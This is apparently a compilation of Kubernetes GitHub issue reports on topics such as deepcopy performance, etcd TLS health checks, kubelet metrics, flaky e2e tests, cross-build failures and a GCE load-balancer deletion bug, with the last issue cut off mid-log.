deepcopy is used in our etcd caching path, watch paths, and cache store paths.  some of my upcoming changes   17922  remove it from the decode critical path except in certain cases.    right now it's roughly ~3us and ~25 allocations to perform a copy:      benchmarkpodcopy-8                            300000          4308 ns/op        3280 b/op         25 allocs/op benchmarknodecopy-8                           300000          3706 ns/op        2464 b/op         18 allocs/op benchmarkreplicationcontrollercopy-8          300000          3908 ns/op        2960 b/op         22 allocs/op      that's not terrible, except this is the most expensive operation in those paths today in terms of master cpu.  a few optimizations to deep copy are worth experimenting with: - replace individual primitive assignment of structs with bulk assignment  not sure how well this is optimized             func deepcopy_v1_awselasticblockstorevolumesource in awselasticblockstorevolumesource, out  awselasticblockstorevolumesource, c  conversion.cloner  error {       out.volumeid = in.volumeid       out.fstype = in.fstype       out.partition = in.partition       out.readonly = in.readonly       return nil   }            with copy assignment             func deepcopy_v1_awselasticblockstorevolumesource in awselasticblockstorevolumesource, out  awselasticblockstorevolumesource, c  conversion.cloner  error {        out = in       return nil   }       - inline public methods for deep copy instead of reflection  nested s.deepcopy   calls  - have all objects expose deepcopy   method instead of reflection, generate them into individual packages - use copy   on arrays of primitives - inline common copies?  compiler should do that

running in aws with an environment where the given hostname does not resolve. so i set --hostname-override to the raw ip for kubectl logs to work. this no longer works after upgrading to v1.2.0-alpha.8 from v1.1.4.

i am trying to setup simple kubernetes cluster, with 3 master, each master running etcd2 instance in https mode. but when i run  kubectl get cs  i got:      etcd-2               unhealthy   get http://c.master.kubeinternal:2379/health: malformed http response \ \\x15\\x03\\x01\\x00\\x02\\x02\     etcd-1               unhealthy   get http://b.master.kubeinternal:2379/health: malformed http response \ \\x15\\x03\\x01\\x00\\x02\\x02\     etcd-0               unhealthy   get http://a.master.kubeinternal:2379/health: malformed http response \ \\x15\\x03\\x01\\x00\\x02\\x02\          i already have specified      --etcd-cafile=/etc/kubernetes/ssl/cert-ca.pem --etcd-certfile=/etc/kubernetes/ssl/cert-master.pem --etcd-keyfile=/etc/kubernetes/ssl/key-master.pem --etcd-servers=https://a.master.kubeinternal:2379,https://b.master.kubeinternal:2379,https://c.master.kubeinternal:2379      in apiserver command line, but it seem doesn't work.  btw, this is output from  etcdctl cluster-health       member 522d6830c147a014 is healthy: got healthy result from https://c.master.kubeinternal:2379 member 5c228a4de15dee8f is healthy: got healthy result from https://b.master.kubeinternal:2379 member fbb23dfd5f0a4b59 is healthy: got healthy result from https://a.master.kubeinternal:2379

kubernetes version    use  kubectl version  : v1.3.5    current state  : the kubelet exports cadvisor metrics and kubelet metrics under  /metrics  on both the api port as well as on the cadvisor port. this the result of both kubelet and cadvisor using the global prometheus metrics registry.    effect  : it's not possible to disable cadvsior metrics being exported by the kubelet. the use case is to run a custom cadvsior as a daemonset in order to deploy new cadvisor versions before changes get merged into kubernetes. setting the  --cadvisor-port=0  flag will disable the second port but still cause the kubelet to export cadvisor metrics under the api /metrics endpoint.  this has been done on purpose by @jimmidyson in 3a6701c8.    questions  : - do we want to support the use case of disabling cadvisor metrics under /metrics completely? - do we want to export kubelet metrics under /metrics on the cadvisor port? - what is the use case for opening a separate cadvisor endpoint and port next to the endpoints available under the api port?  @jimmidyson @timstclair @vishh @kubernetes/sig-node @kubernetes/sig-instrumentation

metaissue:  31459  @random-liu set up a new builder to test the new docker cri integration. node e2e: https://k8s-testgrid.appspot.com/google-node kubelet-cri-gce-e2e cluster e2e: https://k8s-testgrid.appspot.com/google-gce gci-gce-cri  right now, it runs non-serial node e2e tests, with 27 tests passing.  fail! -- 27 passed | 75 failed | 0 pending | 37 skipped   we need to make the build green.  /cc @kubernetes/sig-node   known issues: exec/logs are not supported yet in the cri implementation, pending more discussions on the api. we bypass cri to implement logs/exec for now to unblock other tests, since those two operations are commonly used by tests to verify results.

using kubernetes 1.3.3, started cluster as:      num_nodes=2 node_size=m3.medium kubernetes_provider=aws kube-up.sh      creating a pod using the following configuration file:      apiversion: v1 kind: pod metadata:   name: wildfly-pod   labels:      name: wildfly spec:    containers:      - image: jboss/wildfly       name: wildfly-pod       resources:         requests:           memory: 1g           cpu: 1         limits:           memory: 2g           cpu: 2       kubectl  shows the pod as:      kubectl.sh get -w pods name          ready     status    restarts   age wildfly-pod   0/1       pending   0          2s      creating the pod using the following configuration works:      apiversion: v1 kind: pod metadata:   name: wildfly-pod   labels:      name: wildfly spec:    containers:      - image: jboss/wildfly       name: wildfly-pod      examples quoted at http://kubernetes.io/docs/admin/resourcequota/walkthrough/ refer to the files at  docs/admin/resourcequota/object-counts.yaml  but https://github.com/kubernetes/kubernetes/tree/master/docs/admin/resourcequota does not have these files.

apparently there has been introduced some kind of deadlock.      strace -f  _output/dockerized/bin/linux/amd64/kubectl config unset clusters.xxxx_kubernetes  ... pid 15707  futex 0x20f2720, futex_wake, 1 <unfinished ...>  pid 15706  clock_gettime clock_realtime,  <unfinished ...>  pid 15707  <... futex resumed>         = 0  pid 15706  <... clock_gettime resumed> {1477659962, 481400174}  = 0  pid 15707  clock_gettime clock_monotonic,  <unfinished ...>  pid 15706  select 0, null, null, null, {0, 20} <unfinished ...>  pid 15707  <... clock_gettime resumed> {131877, 76853400}  = 0  pid 15705  <... select resumed>        = 0  timeout   pid 15707  futex 0x20f2738, futex_wait, 0, {4, 999629035} <unfinished ...>  pid 15705  futex 0x20f3e50, futex_wait, 0, null <unfinished ...>  pid 15706  <... select resumed>        = 0  timeout   pid 15706  clock_gettime clock_monotonic, {131877, 77299891}  = 0      same command finishes in milliseconds with some older version of kubectl.  cc: @jessfraz @wojtek-t @gmarek

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r using assert and require from https://github.com/kubernetes/kubernetes/tree/master/vendor/github.com/stretchr/testify can help us reduce the number of lines of code that we use for statements like err!=nil etc. also, we can have negative test cases which can improve our code coverage using require. some other sig's have started using them.\r \r

it is common for some linux distributions to run a local dns cache as the name resolver, resulting in  nameserver 127.0.0.1  in  resolv.conf . when this is propagated into the kube-dns container due to  dnspolicy: default , this will result in a dns lookup loop.\r \r

is this a bug report or feature request?  :\r \r ref to https://github.com/kubernetes/kubernetes/issues/49161, e2e_federation still test use  k8s.io  prefix. not sure if we could use  sig-federation  instead of  k8s.io   just as https://github.com/kubernetes/kubernetes/issues/49161 described.\r \r  i would be happy to send a pr to update it if we indeed need.\r \r /cc @quinton-hoole @csbell \r

a number of resources in kubernetes need to be synced with the cloud provider -- disks, vms, load balancers.  see e.g. https://github.com/googlecloudplatform/kubernetes/issues/5180  options are: - each xcontroller has a big switch statement and calls out to the appropriate provider when a matching resource needs create/delete/update.  for nodes  vms , loadbalancers, firewalls, etc. - there's a cloudprovidergcecontroller that's responsible for observing current state of project and updating it to match desired.  individual within-cluster controllers only concern themselves with intra-cluster changes.

is this a bug report or feature request?  :\r   /area hw-accelerators\r /cc @vishh @jiayingz @vikaschoudhary16 @fabiand \r \r   what happened  :\r \r @fabiand mentioned there are non limited resources, things like \ capabilitites\  of a host  i.e. /dev/kvm  which his important to consider during scheduling, but not really limited how often it can be consumed by pods.\r \r currently a hack would be to set the number of resources advertised by the device plugin to a very high mumber.\r \r   what you expected to happen  :\r \r one model could be to have the device plugin advertise labels on the node which could also be \ triggers\  for invoking the  allocate  call.\r though the problem with this api is that we don't know on what container to invoke the allocate call and are therefore forced to invoke it on every container.\r \r other models could be:\r - introduce \ container\  labels / annotations  which might be something we want to introduce later \r - try and do that through the resource class api  though not sure how we could fit it there

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r original account creation method of blob disk would create account name like  pvc388263479001 ,  pvc388263479002  which is error prone, need to use a new way to generate new storage accounts for blob disk\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r execute the  docker ps -s  command to get the container information as follows:\r    shell\r lynzabo@ubuntu:~$ docker ps -s\r container id        image                    command                  created             status              ports                    names               size\r 0a8859982d26        nginx                    \ nginx -g 'daemon of…\    10 minutes ago      up 10 minutes       80/tcp                   test-df             2b  virtual 109mb \r 12d9cddd8571        google/cadvisor:latest   \ /usr/bin/cadvisor -…\    4 days ago          up 22 minutes       0.0.0.0:8080->8080/tcp   cadvisor            0b  virtual 62.2mb \r lynzabo@ubuntu:~$\r    \r \r execute the  /stats/container/  interface of the kubelet, where the obtained container occupies the disk size and the  docker ps -s  command does not correspond.\r \r    json\r {\r   \ /docker/0a8859982d261d379cd6e8b40087c2870d17876de7b141a0e2a53485f9963cca\ : {\r     \ id\ : \ 0a8859982d261d379cd6e8b40087c2870d17876de7b141a0e2a53485f9963cca\ ,\r     ...\r     \ stats\ :  \r       {\r         ...\r         \ filesystem\ :  \r           {\r             \ device\ : \ /dev/sda1\ ,\r             \ type\ : \ vfs\ ,\r             \ capacity\ : 103441399808,\r             \ usage\ : 81920,\r             \ base_usage\ : 45056,\r             \ available\ : 0,\r             \ has_inodes\ : false,\r             \ inodes\ : 11,\r             \ inodes_free\ : 0,\r             \ reads_completed\ : 0,\r             \ reads_merged\ : 0,\r             \ sectors_read\ : 0,\r             \ read_time\ : 0,\r             \ writes_completed\ : 0,\r             \ writes_merged\ : 0,\r             \ sectors_written\ : 0,\r             \ write_time\ : 0,\r             \ io_in_progress\ : 0,\r             \ io_time\ : 0,\r             \ weighted_io_time\ : 0\r           }\r          \r       },\r       ...\r      \r   }\r   ...\r }\r    \r what is the reason for this?\r \r \r 

hello,\r \r looking at the code  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/apis/config/v1alpha1/defaults.go l161 , i noticed that the horizontalpodautoscalerupscaleforbiddenwindow option is still present but doesn't seem to be used  it is indeed absent from the documentation .\r

http://kubernetes.io/gettingstarted/ provides a button for 'local' installation but not 'local docker' even though the later is the 'recommended starting point' for local installations elsewhere.  the section 'local-machine solutions' on https://github.com/googlecloudplatform/kubernetes/tree/master/docs/getting-started-guides linked from 'getting started guides' on https://github.com/googlecloudplatform/kubernetes states:      the local-machine solutions are:  local docker-based  recommended starting point  vagrant  works on any platform with vagrant: linux, macos, or windows.  no-vm local cluster  linux only       but the link for 'local docker-based' instructions is just an anchor named ' local-solutions'.  i suspect it should point to 'docker.md' in the same directory.  should there be a button on http://kubernetes.io/gettingstarted/  for 'local docker-based'? should the 'local docker-based' point to docker.md? is 'local docker-based' the recommend local deployment method?

as of the recent changes the masters attach/detach ebs volumes on aws nodes. that means it shouldn't be necessary to assign iam roles to the instances anymore.\r \r when testing that out with we found that the kublet version 1.4.6 didn't start:\r    \r error: failed to run kubelet: could not init cloud provider \ aws\ : error finding instance i-xxxx: error listing aws instances: nocredentialproviders: no valid providers in chain\r    \r even without an iam role it's still possible to query the  ec2 metadata api  http://docs.aws.amazon.com/awsec2/latest/userguide/ec2-instance-metadata.html  to fetch the required information and that method of information retrieval should be used when no iam roles are assigned.\r \r assigning iam roles to the nodes is also a security risk as pods can easily query the ec2 metadata api to fetch the iam roles. this can also be prevented by blocking access to  169.254.169.254  which is the endpoint of the ec2 metadata api.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/6958/ failed:  k8s.io  downward api volume should update labels on modification  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:125 timed out after 120.001s. expected     <string>: content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\       to contain substring     <string>: key3=\ value3\       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:124

 \r   what happened  :\r i was running kubectl command during master startup. this failed during pull-kubernetes-e2e-gce-etcd3 test, so i sshed into the master and ran the following:\r \r $ kubectl --v=9999 set resources --dry-run --local -f /etc/kubernetes/addons/fluentd-gcp/fluentd-gcp-ds.yaml --limits=memory=333mi -o yaml\r \r this failed about every second run and succeeded every other, but replacing apiversion: extensions/v1beta1 with apps/v1beta2\r \r   what you expected to happen  :\r \r outputted yaml with updated limits only, apiversion untouched.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r ssh into running master instance for pull-kubernetes-e2e-gce-etcd3 test and run the command i provided.\r \r   anything else we need to know?  :\r \r https://github.com/kubernetes/kubernetes/commit/c168a3faebfa40fdffd1cac1f307f524786bf11b seems to have added daemonset to apps/v1beta2\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.876+35b16deed7c835\ , gitcommit:\ 35b16deed7c83566955daa710d95f816e0a7e7e4\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t11:26:20z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.876+35b16deed7c835\ , gitcommit:\ 35b16deed7c83566955daa710d95f816e0a7e7e4\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t11:21:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : container-optimized os\r - kernel  e.g.  uname -a  : linux e2e-43060-master 4.4.52+  1 smp thu jun 15 15:23:01 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.50ghz genuineintel gnu/linux\r - install tools: e2e jenkins test\r \r @kubernetes/sig-api-machinery-bugs @wojtek-t \r

\r i0815 09:30:09.341  +++  0815 09:28:58  windows/amd64: go build started\r i0815 09:30:09.341    k8s.io/kubernetes/pkg/kubelet/dockershim\r i0815 09:30:09.341  pkg/kubelet/dockershim/docker_container.go:153: not enough arguments in call to ds.getsecurityopts\r i0815 09:30:09.341  \thave  string, rune \r i0815 09:30:09.342  \twant  string,  \ k8s.io/kubernetes/pkg/kubelet/apis/cri/v1alpha1/runtime\ .podsandboxconfig, rune \r i0815 09:30:09.342  pkg/kubelet/dockershim/docker_sandbox.go:591: not enough arguments in call to ds.getsecurityopts\r i0815 09:30:09.342  \thave  string, rune \r i0815 09:30:09.342  \twant  string,  \ k8s.io/kubernetes/pkg/kubelet/apis/cri/v1alpha1/runtime\ .podsandboxconfig, rune \r i0815 09:30:09.342  !!!  0815 09:30:09  call tree:\r i0815 09:30:09.343  !!!  0815 09:30:09   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:697 kube::golang::build_binaries_for_platform ... \r i0815 09:30:09.343  !!!  0815 09:30:09   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r i0815 09:30:09.348  makefile:92: recipe for target 'all' failed\r i0815 09:30:09.351  makefile:419: recipe for target 'cross' failed\r w0815 09:30:09.452  !!!  0815 09:30:09  call tree:\r w0815 09:30:09.452  !!!  0815 09:30:09   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r w0815 09:30:09.452  make 1 :      all  error 1\r w0815 09:30:09.453  make:      cross  error 1\r w0815 09:30:09.743  !!!  0815 09:30:09  call tree:\r w0815 09:30:09.745  !!!  0815 09:30:09   1: build/../build/common.sh:521 kube::build::run_build_command_ex ... \r w0815 09:30:09.747  !!!  0815 09:30:09   2: build/release.sh:36 kube::build::run_build_command ... \r w0815 09:30:09.760  make:      release  error 1\r w0815 09:30:09.761  traceback  most recent call last :\r w0815 09:30:09.761    file \ /var/lib/jenkins/workspace/pull-kubernetes-cross/./test-infra/jenkins/../scenarios/execute.py\ , line 50, in <module>\r w0815 09:30:09.784      main args.env, args.cmd + args.args \r w0815 09:30:09.784    file \ /var/lib/jenkins/workspace/pull-kubernetes-cross/./test-infra/jenkins/../scenarios/execute.py\ , line 41, in main\r w0815 09:30:09.785      check  cmd \r w0815 09:30:09.785    file \ /var/lib/jenkins/workspace/pull-kubernetes-cross/./test-infra/jenkins/../scenarios/execute.py\ , line 30, in check\r w0815 09:30:09.785      subprocess.check_call cmd \r w0815 09:30:09.785    file \ /usr/lib/python2.7/subprocess.py\ , line 186, in check_call\r w0815 09:30:09.802      raise calledprocesserror retcode, cmd \r w0815 09:30:09.802  subprocess.calledprocesserror: command ' 'make', 'release' ' returned non-zero exit status 2\r i0815 09:30:09.809  makefile:382: recipe for target 'release' failed\r e0815 09:30:09.809  command failed\r    \r \r seems to belong to sig node @kubernetes/sig-node-bugs ptal and fix asap

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r now i need to use a complex command to for  kubefed init  to set up the federation control panel as following:\r \r    \r kubefed init federation-cluster \\\r      --host-cluster-context=host-context \\\r      --dns-provider=\ coredns\  \\\r      --dns-zone-name=\ example.com.\  \\\r      --dns-provider-config=\ /root/federation/coredns-provider.conf\  \\\r      --api-server-service-type=\ nodeport\  \\\r      --api-server-advertise-address=\ x.x.x.x\  \\\r      --etcd-image=\ library/etcd:v3.1.5\  \\\r      --etcd-persistent-storage=false \\\r      --etcd-pv-capacity=\ 10gi\  \\\r      --etcd-pv-storage-class=\ \  \\\r      --federation-system-namespace=\ federation-system\  \\\r      --image=\ kubernetes:v1.7.3\  \\\r      --apiserver-arg-overrides=\ \  \\\r      --controllermanager-arg-overrides=\ \ \r    \r \r it would be great to enable  kubefed init  can accept a file just like what we do for  kubectl apply -f <filename> , so that i can put all parameters in a file which is easy to maintain.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /cc @kubernetes/sig-federation-feature-requests

/ /   @kubernetes/sig-apps-test-failures \r \r i remember mentioning this test case during the last sig-testing update at our community meeting, and see it's still  the top flake for a number of pr jobs  http://velodrome.k8s.io/dashboard/db/bigquery-metrics?orgid=1 .  it also flakes across many of our postsubmit jobs:  triage report  https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=%5c%5bsig-apps%5c%5d%20job%20should%20run%20a%20job%20to%20completion%20when%20tasks%20sometimes%20fail%20and%20are%20not%20locally%20restarted \r \r  triage cluster 63a36434077ff31ae29e  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig-apps%5c%5d%20job%20should%20run%20a%20job%20to%20completion%20when%20tasks%20sometimes%20fail%20and%20are%20not%20locally%20restarted 63a36434077ff31ae29e \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/job.go:87\r expected error:\r     < errors.errorstring | 0xc420254ac0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/job.go:86\r    \r \r refs: \r - https://github.com/kubernetes/kubernetes/issues/35507\r - https://github.com/kubernetes/kubernetes/pull/53380

clients without explicit version have been deprecated, and most of their usage has been fixed by  49763 and  50776. however, some new usage are introduced during the long merging process of the two prs. in order to avoid this case, need to fix these usage in a short time, and remove the deprecated clients.\r \r work items:\r -  x  clean up the usage of deprecated clients\r   -  x  ~admissionregistration~  has been cleaned up, needs no action \r   -  x  ~apps~  has been cleaned up, needs no action \r   -  x  authentication  56411\r   -  x  ~authorization~  has been cleaned up, needs no action \r   -  x  ~autoscaling~  has been cleaned up, needs no action \r   -  x  batch  56263\r   -  x  ~certificates~  has been cleaned up, needs no action \r   -  x  core  55991\r   -  x  extensions  55995 \r   -  x  ~networking~  has been cleaned up, needs no action \r   -  x  policy  56413\r   -  x  rbac  56654\r   -  x  ~scheduling~  has been cleaned up, needs no action \r   -  x  ~settings~  has been cleaned up, needs no action \r   -  x  ~storage~  has been cleaned up, needs no action \r -     remove the deprecated clients\r \r @caesarxuchao @k82cn @sttts @kevin-wangzefeng

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r at this time, block volume api is available but is not supported by local volumes plugin.\r \r   what you expected to happen  :\r enhance local volumes plugin to support block volumes.\r \r   anything else we need to know?  :\r this work is part of the overall effort in https://github.com/kubernetes/features/issues/121\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

see issue  6079 as the roll-up for node upgrades.  this issue is to do an in-place upgrade of the kubelet and kube-proxy binaries while a node is running. docker and the kernel/os are not changed. this upgrade can only be performed if the requested new version of kubelet and kube-proxy are compatible with the existing docker and kernel/os version; see  4855 for more details on versioning.  we simply want to download the new  kube   node binaries, stop the old ones, and start the new ones   1573 . that way, the pods continue to run, and we don't have to migrate any storage. possible complications include: -  3333 leftover state or configuration of the vm will cause unwanted side effects after the upgrade is complete - the configuration of the node  environment variables, flags passed to kube_, something salt does  might change between kube_ versions - when kube\\  binaries are stopped, the master might think the pods are all gone, and schedule new copies of the pods elsewhere throughout the cluster  the following requirements follow: - smart salt stanzas: idempotency, can run on a previously salted node - must have an upgrade grace period where the pods are considered alive even if they cannot be health-checked by kubernetes  the tests for this feature are tracked in  7256.  references: -  4855 cluster versioning -  3333 lively debate about kubelet & kube-proxy upgrades, specifically in-place _vs_ fresh-node -  1573 online kubelet upgrades; the original issue for this work item

what happened  :\r when deleting a loadbalancer service on a gce cluster, it seems that the attached shared node http health check cannot be removed properly.\r \r the gce cloud provider can't delete the health check and tries to determine, if the health check is still in use by other target pools. this would be ok and is the case in the logs  see below .\r \r the determination, if a health check is still in use seems not to work properly. got a http 200 from the gce api, but due to the issue with the \ in use\  determination, in will return  http code != 400 , which leads to a entire lb deletion retry.\r \r see here: https://github.com/kubernetes/kubernetes/blob/release-1.10/pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go l376-l384\r \r i also observed that a new lb service with same namespace/name will not get an external ip, when this situation occurs for a service with same namespace/name. restarting controller-manager solves this situation.\r \r here you can find the logs of the controller manager for one retry:\r    \r .167072       1 service_controller.go:726  service has been deleted test/test-abc. attempting to cleanup load balancer resources\r i0628 13:13:28.167299       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ test\ , name:\ test-abc\ , uid:\ <redacted>\ , apiversion:\ v1\ , resourceversion:\ <redacted>\ , fieldpath:\ \ } : type: 'normal' reason: 'deletingloadbalancer' deleting load balancer\r i0628 13:13:28.167376       1 gce_loadbalancer_external.go:334  ensureexternalloadbalancerdeleted <lb-id redacted> test/test-abc  : deleting forwarding rule.\r i0628 13:13:28.167398       1 gce_loadbalancer_external.go:330  ensureexternalloadbalancerdeleted <lb-id redacted> test/test-abc  : deleting ip address.\r i0628 13:13:28.167592       1 gce_loadbalancer_external.go:316  ensureexternalloadbalancerdeleted <lb-id redacted> test/test-abc  : deleting firewall rule.\r i0628 13:13:28.576514       1 gce_loadbalancer_external.go:340  ensureexternalloadbalancerdeleted <lb-id redacted> test/test-abc  : deleting target pool.\r i0628 13:13:28.957612       1 gce_loadbalancer_external.go:358  deleteexternaltargetpoolandchecks <lb-id redacted> test/test-abc  : target pool already deleted. continuing to delete other resources.\r i0628 13:13:28.957810       1 gce_loadbalancer_external.go:375  deleteexternaltargetpoolandchecks <lb-id redacted> test/test-abc  : deleting health check <lb-id redacted>.\r i0628 13:13:29.262311       1 gce_loadbalancer_external.go:397  deleteexternaltargetpoolandchecks <lb-id redacted> test/test-abc  : deleting health check firewall k8s-<lb-id redacted>-http-hc.\r i0628 13:13:29.460361       1 gce_loadbalancer_external.go:375  deleteexternaltargetpoolandchecks <lb-id redacted> test/test-abc  : deleting health check k8s-<health-check-id redacted>-node.\r w0628 13:13:31.374257       1 gce_loadbalancer_external.go:382  deleteexternaltargetpoolandchecks <lb-id redacted> test/test-abc  : failed to delete health check k8s-<health-check-id redacted>-node: gce 200 - resource_in_use_by_another_resource: the http_health_check resource 'projects/<gce-project redacted>/global/httphealthchecks/k8s-<health-check-id redacted>-node' is already being used by 'projects/<gce-project redacted>/regions/europe-west1/targetpools/<target-pool-id redacted>'.\r e0628 13:13:31.374505       1 service_controller.go:219  error processing service test/test-abc  will retry : gce 200 - resource_in_use_by_another_resource: the http_health_check resource 'projects/<gce-project 